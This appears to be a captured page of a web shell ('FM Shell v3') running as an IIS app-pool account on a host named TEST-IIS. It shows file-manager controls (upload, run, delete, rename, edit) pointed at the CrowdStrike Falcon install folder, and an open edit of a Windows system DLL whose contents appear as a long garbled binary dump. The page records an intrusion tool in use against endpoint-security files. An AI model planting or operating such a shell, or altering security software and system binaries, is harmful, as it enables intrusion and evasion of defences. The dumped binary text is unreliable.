FM Shell v3
| user: iis apppool\cms1 | host: TEST-IIS | ps: 5.1.14393.3053 | pid: 9336
cwd:
C:\Program Files\CrowdStrike
[..]
go
mkdir
run
upload
edit: C:\Windows\System32\CallButtons.ProxyStub.dll
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ¿æ=GÞnGÞnGÞnN¦nSÞn*oEÞn*oMÞnGÞnÞn*oDÞn*oFÞn*oAÞn*wnFÞn*oFÞnRichGÞn PE d ÿW ð " Z P À í´ `A g ´ 4h ð ¨ ° \ Ðc 8 @S Ð T ¸ .text P `.rdata D 0 F @ @.data ø ^ @ À.pdata ` @ @.rsrc ¨ b @ @.reloc \ ° h @ B H\$Ht$H|$ATAVAWHì LòËÿH: HùDcHREÄè³ À A\$ñsMÄHcÖL=: HÏI×HRè ÀxÞtfsMÄHcÆHÏIÇHRèe ÀxÞtEsMÄHcÆHÏIÇHRèD ÀxÞt$ÿÃû }4HcËIÏHLBI;u!HOI;HuA ¸ ë bÿÿÿ» ëé3ÀH\$@Ht$HH|$PHÄ A_A^A\ÃÌÌÌÌÌÌÌÌÌH\$Ht$WHì HòËÿH<= HùDCHRè° ÈC É~1ØØû}.HcËH= HÊHLBI;uHOI;Hu ëuÏØëö3ÀH\$0Ht$8HÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHì8Hås HD$(L aA HâQ HD$ ÿgB HÄ8ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌH ©s Hÿ%:B ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHs Hÿ%B ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHis Hÿ%B ÌÌÌÌÌÌHì(úu H ls ÿVC ¸ HÄ(ÃÌÌÌÌÌÌÌÌÌÌÌÌH Is L2Q H£@ Hÿ%¼A ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌH s LQ Hs@ Hÿ%A ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHì(¹ ÿ©C Hêr HÛr H Àu¸ ëH 3ÀHÄ(ÃÌÌÌÌÌÌÌÌH\$Hl$H|$ATAVAWHì 3ÛMðLù Ò ù ål Àä ÿÈDóÒl eH%0 HxëH;Çt¹è ÿ«B 3ÀðH±=`r uãëA¾ Xr øt¹ è é H--r H ítdH=r LåLÿHïH;ýr7H9 tòHH ÿC H úq Hëq L;áuL;øtÎLáHéLøHøëÀHÍÿB H Ãq H Äq Îq E ö H ¶q éÿ 3Àéý ú ï eH%0 ëHxëH;Çt¹è ÿÀA 3ÀðH±=uq uãë½ nq Àt ¹ è ë_H=_B ÇMq L%^B ÃI;üs# ÀuH9 t Hÿ B HÇI;ürå À cÿÿÿHB H B è Çÿp íu HÃHép H9 òp t(H ép è| ÀtHÙp Mƺ IÏÿ°A ÿúj ¸ H\$@Hl$HH|$PHÄ A_A^A\ÃÌÌÌÌÌÌÌÌÌÌÌH\$Ht$WHì IøÚHñúuè£ LÇÓHÎH\$0Ht$8HÄ _é ÌÌÌÌÌÌÌHÄHX L@PHHVWAVHìP úLñ¾ Þ\$ ;Öw5j Òu9Kj u 3Û\$ éÚ Bÿ;Æ L üo M ÉtB%j ;ÖDÆj L$ IÁÿµ@ ØD$ ë3Û\$ s¼$x L´$p Ûy L$ ×IÎè·üÿÿØD$ ë3Û\$ s¼$x L´$p Û? L$ ×IÎèµûÿÿØD$ ë3Û\$ s¼$x L´$p ;þ Û E3À3ÒIÎèxûÿÿë¾ ¼$x L´$p \$ E3À3ÒIÎèüÿÿë¾ ¼$x L´$p \$ HÜn H Àt(E3À3ÒIÎÿ©? ë¾ ¼$x L´$p \$ ÿtÿurL$ ×IÎè°ûÿÿØD$ ë3Û\$ s¼$x L´$p Hmn H Àt4=h t+L$ ×IÎÿ,? ØD$ ë3Û\$ s¼$x ;þw Ç6h ÿÿÿÿÃH$ HÄP A^_^ÃÌÌÌÌÌÌff H; h uHÁÁf÷ÁÿÿuÃHÁÉéR ÌÌÌÌÌÌÿ%> ÌÌÌÌÌÌÿ%z> ÌÌÌÌÌÌÌÌÌÌLcA<E3ÉLÁLÒA·@E·XHÀIÀE Ût P L;Òr HÊL;ÑrAÿÁHÀ(E;Ërâ3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌH\$WHì HÙH=lçÿÿHÏèD Àt"H+ßHÓHÏèÿÿÿH Àt@$Áè ÷Ðàë3ÀH\$0HÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHÁ¹MZ f9t3ÀÃHcH<HÈ3À9PE u º f9QÀÃÌÌÌÌÌÌH\$ UHìHì He H»2¢ß-+ HÑf H;à HMÿÞ< HEHEÿ< ÀH1Eÿl< ÀH1EÿÀ< ÀHÁàH1Eÿ°< ÀHMH3EH3ÁHM HEÿM< E H¹ÿÿÿÿÿÿ HÁà H3E H3EH#ÁH¹3¢ß-+ H;ÃHDÁH9f H\$HH÷ÐH2f HÄ ]ÃÌÌÌÌÌÌÿ%¨< ÌÌÌÌÌÌÿ%¬< ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ ÌÌÌÌÌÌÌÌÌ@SHì HÙ3Éÿs; HËÿb; ÿ; HȺ ÀHÄ [Hÿ%p; ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHL$Hì H ]f ÿ; HHg HD$HE3ÀHT$PHL$Hÿ`; HD$@H|$@ tBHÇD$8 HD$XHD$0HD$`HD$(Hf HD$ LL$@LD$HHT$P3Éÿ; ë#Hzf H HÐf Hif HÀH^f H·f H(e H$ H)f Çÿd ÀÇùd Çe ¸ HkÀ H ûd HÇ ¸ HkÀH ãd Hd H¸ HkÀH Èd Hd H¸ HkÀ H ed HLh¸ HkÀH Xd HLhH < èSþÿÿHÄ ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÿ%j8 ÌÌÌÌÌÌÌÌÌÌÿ%b8 ÌÌÌÌÌÌÌÌÌÌÿ%B: ÌÌÌÌÌÌÌÌÌÌÿ%: ÌÌÌÌÌÌÌÌÌÌÿ%9 ÌÌÌÌÌÌÌÌÌÌÿ%Ú8 ÌÌÌÌÌÌÌÌÌÌÿ%Â8 ÌÌÌÌÌÌÌÌÌÌÿ%8 ÌÌÌÌÌÌÌÌÌÌÿ%*8 ÌÌÌÌÌÌÌÌÌÌÿ%"8 ÌÌÌÌÌÌÌÌÌÌÿ%J8 ÌÌÌÌÌÌÌÌÌÌÿ%*8 ÌÌÌÌÌÌÌÌÌÌÿ%8 ÌÌÌÌÌÌÌÌÌÌÿ%²9 ÌÌÌÌÌÌÌÌÌÌÿ%8 ÌÌÌÌÌÌÌÌÌÌÿ%¢8 ÌÌÌÌÌÌÌÌÌÌÿ%ò7 ÌÌÌÌÌÌÌÌÌÌÿ%ê7 ÌÌÌÌÌÌÌÌÌÌÿ%â7 ÌÌÌÌÌÌÌÌÌÌÿ%r7 ÌÌÌÌÌÌÌÌÌÌÿ%Ò7 ÌÌÌÌÌÌÌÌÌÌÿ%Ê7 ÌÌÌÌÌÌÌÌÌÌÿ%:7 ÌÌÌÌÌÌÌÌÌÌÿ%"7 ÌÌÌÌÌÌÌÌÌÌÿ%²7 ÌÌÌÌÌÌÌÌÌÌÿ%ª7 ÌÌÌÌÌÌÌÌÌÌÿ%¢7 ÌÌÌÌÌÌÌÌÌÌÿ%7 ÌÌÌÌÌÌÌÌÌÌÿ%7 ÌÌÌÌÌÌÌÌÌÌÿ%8 ÌÌÌÌÌÌÌÌÌÌÿ%¢6 ÌÌÌÌÌÌÌÌÌÌÿ%z7 ÌÌÌÌÌÌÌÌÌÌÿ%r7 ÌÌÌÌÌÌÌÌÌÌÿ%b8 ÌÌÌÌÌÌÌÌÌÌÿ%ú5 ÌÌÌÌÌÌÌÌÌÌÿ%ú5 ÌÌÌÌÌÌÌÌÌÌÿ%â5 ÌÌÌÌÌÌÌÌÌÌÿ%*8 ÌÌÌÌÌÌÌÌÌÌÿ%"7 ÌÌÌÌÌÌÌÌÌÌÿ%â7 ÌÌÌÌÌÌÌÌÌÌÿ%:6 ÌÌÌÌÌÌÌÌÌÌÿ%ê6 ÌÌÌÌÌÌÌÌÌÌÿ%ê6 ÌÌÌÌÌÌÌÌÌÌÿ%5 ÌÌÌÌÌÌÌÌÌÌÿ%Ê5 ÌÌÌÌÌÌÌÌÌÌÿ%ò5 ÌÌÌÌÌÌÌÌÌÌÿ%6 ÌÌÌÌÌÌÌÌÌÌÿ%j7 ÌÌÌÌÌÌÌÌÌÌÿ%z5 ÌÌÌÌÌÌÿ%¶7 ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌff ÿàÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ@UHì HêH H¤ HÈ U(E(=csmàuHÈ M(è øÿÿE0ëÇE0 E0HÄ ]ÃÌ@UHì HêH H¨ HÐ U8E8=csmàuHÐ M8èLøÿÿE@ëÇE@ E@HÄ ]ÃÌ@UHì HêH H¬ HØ UHEH=csmàuHØ MHèø÷ÿÿEPëÇEP EPHÄ ]ÃÌ@UHì HêH H° Hà UXEX=csmàuHà MXè¤÷ÿÿE`ëÇE` E`HÄ ]ÃÌ@UHì HêH( H´ Hè UhEh=csmàuHè MhèP÷ÿÿEpëÇEp EpHÄ ]ÃÌ@UHì HêH0 H¸ Hð UxEx=csmàuHð Mxèüöÿÿ ë Ç HÄ ]ÃÌ@UHì HêH8 H¼ Hø =csmàuHø èöÿÿ ë Ç HÄ ]ÃÌ@UHì HêH@ HÀ H =csmàuH è0öÿÿ ë Ç HÄ ]ÃÌ@UHì Hê½x w Çá] ÿÿÿÿHÄ ]ÃÌÌÌÌÌÌÌÌÌÌÌ@UHì HêH3É8 ÀÁÁHÄ ]ÃÌ 0 Ð ]ë Éè +H` Z Ú^ 2_ hA 3qqº¾7IµÛïÌ6 ¨6 A C % Ö^ P Õ^ ð ; Ø` p ` p ]ë Éè +H` Z òY 2_ hA 3qqº¾7IµÛïÌ6 è1 A ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 2 ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ < hI X6 X6 °0 E 4 E 4 C 4 0@ 4 `5 4 E 4 C ( Õ^ P Õ^ ð @ Z ` _ PC È6 B ÐJ P4 7 Ð= I @> G ð9 ! Ð: @ Z j` _ 0D @ Z ²^ _ 8 C Ø^ Õ^ ð È` < P ð p ð À Ð 0 ° ° ° ° ° ° ° ° ° ° ° ° ° ° ° ° ° C 8 : Ø^ Õ^ ð @ Z ` è^ PC ° $ _ C. PI @; Õ^ ð C ` È Õ^ ð @ Z f` è^ P; A $ H` C 3 Õ^ ð Ø` ? È> 0 P 0 Ð ð ð À ` 0 @ Z r` è^ P9 @ Z ²^ è^ 8 ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ°H Ø6 ]ë Éè +H` Z ²^ 2_ hA 3qqº¾7IµÛïÌ6 È1 A J 03 P= ðH °7 a p ` p ]ë Éè +H` Z r` 2_ hA 3qqº¾7IµÛïÌ6 F A ø` à2 P ð p ð À Ð 0 C A Õ^ ð $ 0Z ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF 6 2 J ¨5 ø` p ` @ Z 2` è^ ÀA A ]ë Éè +H` Z f` 2_ hA 3qqº¾7IµÛïÌ6 èD A @ Z Z` è^ ÐF C, ( 0 Ö^ È PI ` P Õ^ ð @ Z f` _ P; @ Z Z` _ ÐF 7 a p ` p X 8X pX ¨X àX Y XY Y ÀY pG è` p ` è` 3 P ð p ð À Ð 0 ¨` À< ð? 0 P 0 Ð ð ð À ` 0 @ Z òY è^ @1 ° ° @ Z 2` _ ÀA $ `Z @ Z r` _ P9 C A @I Õ^ ð ° ° ° C 8 H Ø^ Õ^ ð 2_ j hA C A PF Õ^ ð ` $ xZ À @ à À ]ë Éè +H` Z 2` 2_ hA 3qqº¾7IµÛïÌ6 È7 A 6 È` p ` a Ð3 Ð? 0 P 0 Ð ð ð À ` 0 C 8 P? Ø^ Õ^ ð ]ë Éè +H` Z ` 2_ hA 3qqº¾7IµÛïÌ6 F A @ Z Ú^ _ 0 ]ë Éè +H` Z j` 2_ hA 3qqº¾7IµÛïÌ6 `J A `F ` p ` ? C 8 ØH Ø^ Õ^ ð °> ¸` p ` p ° ð P 0 @ à P à ° @ Ð 0J ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ°H $ ` @ Z Ú^ è^ 0 C @; Õ^ ð ]ë Éè +H` Z Z` 2_ hA 3qqº¾7IµÛïÌ6 : A @ Z j` è^ 0D ¸` H ¨4 0 P 0 Ð ð ð À ` 0 @ Z òY _ @1 ð; ¨` p ` p $ À^ C Õ^ ð $ ` Àc Àc Àc Àc Àc $ HZ ¢ 3 C 0 ` P Õ^ ð ` ðC P ð p ð À Ð 0 A Z Ô^ C A ø5 Õ^ ð `: 9 = `B ð0 = ÐD PH `E à: a `? À5 0 P 0 Ð ð ð À ` 0 c `Q L 0 P 0 Ð ð ð À ` 0 °Q c p ` p ° ð ° Âa j ØL ` À @ à À pN S àO N c O N 0 P 0 Ð ð ð À ` 0 øQ c p ` p ° ° ° ° ° àM °K Àc Àc 2 ¨R C. àQ Q b ð @L b Rb @b @O ]ë Éè +H` b Rb Âa ØL 3qqº¾7IµÛïÌ6 øO øL 0a xa $ b ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿPR ØR P P PP C % Tb P b ð C b È b ð ]ë Éè +H` b bb Âa ØL 3qqº¾7IµÛïÌ6 R øL @L b bb @b ÀP øO @L b Rb (b @O ¢ ÈR @L b bb (b ÀP ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ°N C, ( 0 Tb È àQ b P b ð A xb pb ! N C 0 b P b ð @K pM °8 M Ð ÈV ÐV W = 5 ªo Üo Êo p Òq ¼q ¤q q vq <q >l Vl "q Fo ¾p n zn 0n m m Jp Îp |m dm ¬m Jm àm þm n êl >n `n Ðl ¶l ¬n Ên èn o o l îp bo |o fp p p Æm ¨r Är Zq ör âr &r r öq zr r fr îq <r Vr l 2p q rl 0o o p m l ük l îk l àk zt Ð ° ð 0 p Ð P ` ð 0 @ P ` p ° À Ð à ð 0 @ P ` p ° À Ð à ð 0 @ P ` p ° À Ð à ð __x_Windows_CMedia_CDevices_CIKeypadPressedEventArgs __x_Windows_CMedia_CDevices_CIRedialRequestedEventArgs __x_Windows_CMedia_CDevices_CIKeypadPressedEventHandler __x_Windows_CMedia_CDevices_CIDialRequestedEventArgs __x_Windows_CMedia_CDevices_CICallControlEventHandler __x_Windows_CMedia_CDevices_CIRedialRequestedEventHandler __x_Windows_CMedia_CDevices_CICallControlStatics __x_Windows_CMedia_CDevices_CICallControl __x_Windows_CMedia_CDevices_CIDialRequestedEventHandler ÿÿÿÿÿÿHnºà 2^°Ö(Tz¦ $ T¤7æ'Å,B&ɯµY $ 9¤Óú´ÍIB¯ehö $ Ûÿ»Z ÂÄK%~(Á±¤ $ ÖÐ ¥®ÛEÊIÓ³åx 3l D p 3l E p 3l $ D P! p 3l F p 3l F . p 3l F @ p 3l F R p 3l ( , F H ~ P! p 3l , D P! p 3l D H p 3l D H p 3l ! D P! p 3l 4 F ! ¦ p 3l D ¦ p 3l 4 F ! ¦ p 3l D ¦ p 3l 4 F ¬ ! ¦ p 3l D ¦ p 3l 4 F ¾ ! ¦ p 3l D ¦ p 3l 4 F Ð ! ¦ p 3l D ¦ p 3l 4 F ! ¦ p 3l D ¦ p 3l E â p 3l G ~ â p ÿÿÿÿÿÿF $ ÑWòº½NKGnÄ=uر 0 ¾ ]ë Éè +H` 3qqº¾7IµÛïÌ6 $ {<BfO7l Z /Zàâ¯-±jLZתe \/ZÖÐ ¥®ÛEÊIÓ³åx/Z{<BfO7l Z/Z Rµ~«v1L´KX7X /Z 9¤Óú´ÍIB¯ehö üÿ [ ðÿ\[´ Þÿ \ \/ZuoYßPTD¼cM=¶X [/ZÛÿ»Z ÂÄK%~(Á±¤/ZÑWòº½NKGnÄ=uر/ZT¤7æ'Å,B&ɯµY 8ÿ $ uoYßPTD¼cM=¶X ÿÿÿÿÿÿ $ àâ¯-±jLZתe ÿÿÿÿÿÿÌò ê l ÿÿÿÿÿÿ $ Rµ~«v1L´KX7X ÑWòº½NKGnÄ=uرÕZ« á@¯VÉC°ÖÐ ¥®ÛEÊIÓ³åxT¤7æ'Å,B&ɯµY {<BfO7l ZuoYßPTD¼cM=¶XÛÿ»Z ÂÄK%~(Á±¤ 9¤Óú´ÍIB¯ehö Rµ~«v1L´KX7X __x_Windows_CMedia_CDevices_CInternal_CICallControlBrokerFactory __x_Windows_CMedia_CDevices_CInternal_CICallControlBroker üÿ [ ðÿ\[´ Þÿ \ \ /Zxµ)ÛH@ ,eüØl $ xµ)ÛH@ ,eüØl ]ë Éè +H` 3qqº¾7IµÛïÌ6 ÿÿÿÿÿÿ 2 X ~ ¤ ÿÿÿÿÿÿÊ 3l ( , F H P! p 3l , D P! p 3l D H p 3l D H p 3l ! D P! p 3l G . p Î=Ä¢º G»þÿó®ÍE¨xµ)ÛH@ ,eüØlåÍÏÚGêE£W¨8jX{àâ¯-±jLZתe ÿW 2 d L ÿW ì <d <L RSDS)$4Öï±I£Êò : CallButtons.ProxyStub.pdb GCTL .orpc p .text$mn .text$mn$00 0 .text$x 0 $ .rdata$brc T ¸ .idata$5 ÈV .00cfg ØV .CRT$XCA àV .CRT$XCZ èV .CRT$XIA ðV .CRT$XIAA øV .CRT$XIZ W .cfguard X .rdata d .rdata$zzzdbg (f X .xdata g ´ .edata 4h Ü .idata$2 i .idata$3 (i ¸ .idata$4 àk ¤ .idata$6 .data Ø .bss .pdata ` .rsrc$01 ` H .rsrc$02 t d 4 2ðàÀ d 4 2 p b B t T 4 2ðàÀ 41 * àp` ö ù # 6 # C ] ] } Þ ¿ Î 2 Î æ õ õ ) Ú ) J d 7! d ¬ ! ¬ Á ¼ " 2P 4 2pö À 0" À 4 2P 20 W Ðg ¨g ¸g Èg ð ° p êg úg h h CallButtons.ProxyStub.dll DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer k 2l V (i s T Xk s @V ài >s ÈT Èj ls °U 0k s V k ¸s èU Øj Üs ÀU @k t (V k *t øU °j Pt U ªo Üo Êo p Òq ¼q ¤q q vq <q >l Vl "q Fo ¾p n zn 0n m m Jp Îp |m dm ¬m Jm àm þm n êl >n `n Ðl ¶l ¬n Ên èn o o l îp bo |o fp p p Æm ¨r Är Zq ör âr &r r öq zr r fr îq <r Vr l 2p q rl 0o o p m l ük l îk l àk zt U _XcptFilter ® _amsg_exit Lfree malloc }_initterm W __C_specific_handler msvcrt.dll CStdStubBuffer_Invoke DNdrStubForwardingFunction HSTRING_UserSize HSTRING_UserMarshal - ObjectStublessClient12 / ObjectStublessClient14 , ObjectStublessClient11 CStdStubBuffer2_CountRefs IUnknown_AddRef_Proxy CStdStubBuffer_DebugServerQueryInterface 7 ObjectStublessClient22 ? ObjectStublessClient3 3 ObjectStublessClient18 HSTRING_UserFree64 5 ObjectStublessClient20 0 ObjectStublessClient15 CStdStubBuffer2_Disconnect F ObjectStublessClient7 . ObjectStublessClient13 NdrOleFree CStdStubBuffer2_QueryInterface 4 ObjectStublessClient19 CStdStubBuffer_AddRef IUnknown_Release_Proxy % NdrProxyForwardingFunction4 & NdrProxyForwardingFunction5 E ObjectStublessClient6 G ObjectStublessClient8 H ObjectStublessClient9 HSTRING_UserSize64 CStdStubBuffer_CountRefs 2 ObjectStublessClient17 + ObjectStublessClient10 HSTRING_UserFree CStdStubBuffer_QueryInterface NdrOleAllocate CStdStubBuffer_DebugServerRelease HSTRING_UserMarshal64 1 ObjectStublessClient16 HSTRING_UserUnmarshal CStdStubBuffer_Disconnect 6 ObjectStublessClient21 ! NdrProxyForwardingFunction3 IUnknown_QueryInterface_Proxy CNdrStubCall3 CStdStubBuffer_IsIIDSupported CStdStubBuffer2_Connect HSTRING_UserUnmarshal64 CStdStubBuffer_Connect NdrCStdStubBuffer2_Release DisableThreadLibraryCalls Ö NdrDllUnregisterProxy Õ NdrDllRegisterProxy Ô NdrDllGetClassObject Ó NdrDllCanUnloadNow NdrCStdStubBuffer_Release - Sleep QueryPerformanceCounter GetCurrentProcessId GetCurrentThreadId GetSystemTimeAsFileTime GetTickCount RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind UnhandledExceptionFilter SetUnhandledExceptionFilter GetCurrentProcess M TerminateProcess RPCRT4.dll api-ms-win-core-winrt-string-l1-1-0.dll api-ms-win-core-com-midlproxystub-l1-1-0.dll api-ms-win-core-libraryloader-l1-2-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-core-profile-l1-1-0.dll api-ms-win-core-processthreads-l1-1-2.dll api-ms-win-core-sysinfo-l1-2-1.dll api-ms-win-core-rtlsupport-l1-2-0.dll api-ms-win-core-errorhandling-l1-1-1.dll memcmp ÿÿÿÿ 2¢ß-+ Í] ÒfÔÿÿ (f @f ° Þ Pf D d Xf Ð Xf E `f P @f à xf ð 0g Í 4g ä Xg P dg ` Ñ lg " xg 6 $g Þ $g Þ 2 $g 2 $g Ú $g Ú 7! $g 7! ! $g ! " $g " &" $g 0" P" $g 0 H ` D 44 V S _ V E R S I O N _ I N F O ½ïþ 98 98? S t r i n g F i l e I n f o n 0 4 0 9 0 4 B 0 L C o m p a n y N a m e M i c r o s o f t C o r p o r a t i o n 0 F i l e D e s c r i p t i o n W i n d o w s R u n t i m e C a l l B u t t o n s S e r v e r P r o x y S t u b D L L n ' F i l e V e r s i o n 1 0 . 0 . 1 4 3 9 3 . 0 ( r s 1 _ r e l e a s e . 1 6 0 7 1 5 - 1 6 1 6 ) 0 I n t e r n a l N a m e W i n d o w s R u n t i m e C a l l B u t t o n s S e r v e r P r o x y S t u b D L L . L e g a l C o p y r i g h t © M i c r o s o f t C o r p o r a t i o n . A l l r i g h t s r e s e r v e d . h O r i g i n a l F i l e n a m e C a l l B u t t o n s S e r v e r . P r o x y S t u b . d l l j % P r o d u c t N a m e M i c r o s o f t ® W i n d o w s ® O p e r a t i n g S y s t e m > P r o d u c t V e r s i o n 1 0 . 0 . 1 4 3 9 3 . 0 D V a r F i l e I n f o $ T r a n s l a t i o n ° 0 0 8 @ H È Ø ð ø ¡¡¡¡ ¡(¡0¡8¡`¡h¡p¡x¡¸¡È¡ø¡¢ ¢(¢0¢8¢@¢H¢P¢X¢`¢h¢p¢x¢¢¢¢¢¸¢È¢à¢ð¢ø¢££(£0£8£@£H£P£X£`£h£p£££ £¨£¸£È£Ð£à£è£ø£¤(¤8¤P¤X¤p¤x¤¤¤¤¤ ¤¨¤°¤¸¤À¤È¤Ð¤Ø¤à¤è¤ð¤ø¤ ¥¥¥¥ ¥(¥0¥8¥@¥H¥P¥X¥x¥¥¥¨¥°¥¸¥À¥Ð¥Ø¥à¥è¥ð¥ ¦(¦8¦H¦p¦¦¦¦ ¦¨¦¸¦À¦Ð¦ð¦ §§§(§0§8§@§H§P§X§`§h§p§x§§§§§¨§°§¸§À§È§Ø§ø§ ¨0¨8¨@¨H¨¨¨°¨¸¨À¨È¨Ð¨ ©©©© ©(©0©8©@©p©x©©©È©Ø©ð©ø©ªª ª(ª0ª8ª@ªHªPªXªxªª ªÀªÈªØªàªèªðªøª «««« «(«8«H«p«x«««È«Ø«ð«ø« ¬¬¬8¬H¬X¬h¬¬¬¬¨¬¸¬À¬Ð¬Ø¬è¬ø¬ (08@PX`hpx ¨°¸ÀÈÐØðø ®®®® ®(®0®8®@®H®X®`®h®p®x®®®®® ®¨®°®¸®À®È®Ø®à®è®ð®ø® ¯¯ ¯(¯8¯H¯X¯`¯p¯x¯¯¯¸¯È¯Ø¯è¯ð¯ø¯ @ h ( H X h À è 8¡H¡X¡h¡p¡x¡¡¡¡ ¡¨¡°¡à¡è¡ð¡ø¡8¢H¢`¢h¢p¢x¢¢¢¢¢¨¢°¢¸¢À¢È¢Ð¢Ø¢à¢è¢ð¢ø¢£(£8£p£x£££È£Ø£ð£ ¤¤¤(¤P¤X¤`¤h¤¨¤¸¤Ð¤Ø¤à¤è¤ð¤ø¤ ¥(¥8¥H¥`¥h¥p¥x¥¥¥¥¥ ¥¨¥°¥¸¥À¥È¥Ð¥Ø¥à¥è¥ð¥ø¥ ¦¦¦¦ ¦(¦H¦X¦`¦h¦p¦x¦¦¨¦¸¦ð¦ø¦ §§H§X§p§x§§§§ §¨§¸§À§È§Ð§Ø§à§è§ð§ø§ ¨¨¨ ¨(¨8¨H¨P¨X¨`¨h¨p¨x¨¨¨¨¨¨¨È¨à¨ð¨ø¨© ©(©H©`©©© ©¨©À©È©Ð©Ø©à©è©ð©ø© ªªª(ªHªXªhªxªªªªª ª¨ª°ª¸ªÀªÐªØªèªðªøª «««« «(«0«8«@«H«X«`«h«p«x««««« «¨«°«¸«À«È«Ð«Ø«à«è«ð«ø« ¬¬¬¬ ¬(¬0¬H¬P¬¬¨¬Ø¬à¬è¬ð¬ø¬ (08@px ¨°¸ÀÈÐØàèðø ®®®® ®0®8®@®H®P®X®`®h®p®x®®®¨®È®Ø®è® ¯¯¯(¯8¯`¯h¯p¯x¯¸¯È¯à¯è¯ P t ( 0 8 @ H h x ° à è ð ø 8¡H¡`¡p¡x¡¡¡¨¡°¡¸¡À¡È¡Ø¡ð¡ø¡ ¢¢¢ ¢@¢h¢x¢¢¢°¢À¢Ð¢ð¢ £££(£0££°£¸£À£È¦Ð¦ð¦
save
name
size
mtime
actions
[D] Database
-
2026-10-13 22:29
del
ren
[D] Extensibility
-
2026-09-16 01:49
del
ren
[D] ExtensibleUI
-
2026-09-16 01:49
del
ren
[D] Falcon4IT
-
2026-09-16 01:49
del
ren
[D] MfaUi
-
2026-07-08 13:43
del
ren
[D] odsdb
-
2025-03-28 19:33
del
ren
[D] SystemTray
-
2026-09-16 01:49
del
ren
com.crowdstrike.falcon.json
272
2026-09-11 10:42
edit
get
del
ren
CSDeviceControlSupportTool.exe
641376
2026-07-13 16:27
edit
get
del
ren
CsFalconConnector.exe
548288
2026-09-11 10:42
edit
get
del
ren
CSFalconContainer.exe
989216
2026-09-11 10:42
edit
get
del
ren
CSFalconController.exe
298432
2026-09-11 10:42
edit
get
del
ren
CSFalconService.exe
17520040
2026-09-11 10:42
edit
get
del
ren
CSFalconService.man
98902
2026-09-11 10:42
edit
get
del
ren
CsFalconToastIcon.png
1213
2026-09-11 10:38
edit
get
del
ren
CsFalconUIHost.exe
548352
2026-09-11 10:42
edit
get
del
ren
CSFirmwareAnalysisSupportTool.exe
477552
2024-03-18 20:14
edit
get
del
ren
CsIntegration32_21309.dll
36032
2026-09-11 10:42
edit
get
del
ren
CsIntegration64_21309.dll
38152
2026-09-11 10:42
edit
get
del
ren
CsPs4.dll
34456
2026-09-11 10:42
edit
get
del
ren
CsScan.exe
555744
2026-09-11 10:42
edit
get
del
ren
CsScanCli.exe
584640
2026-09-11 10:42
edit
get
del
ren
CSSensorSettings.exe
679632
2026-09-11 10:42
edit
get
del
ren
CsSystemTray_7.40.21309.0.exe
3781624
2026-09-11 10:42
edit
get
del
ren
cswsl21309.dll
47440
2026-09-11 10:42
edit
get
del
ren
ReadMe.rtf
939
2026-09-11 10:38
edit
get
del
ren
SecurityProductInformation.ini
108
2026-09-16 01:49
edit
get
del
ren
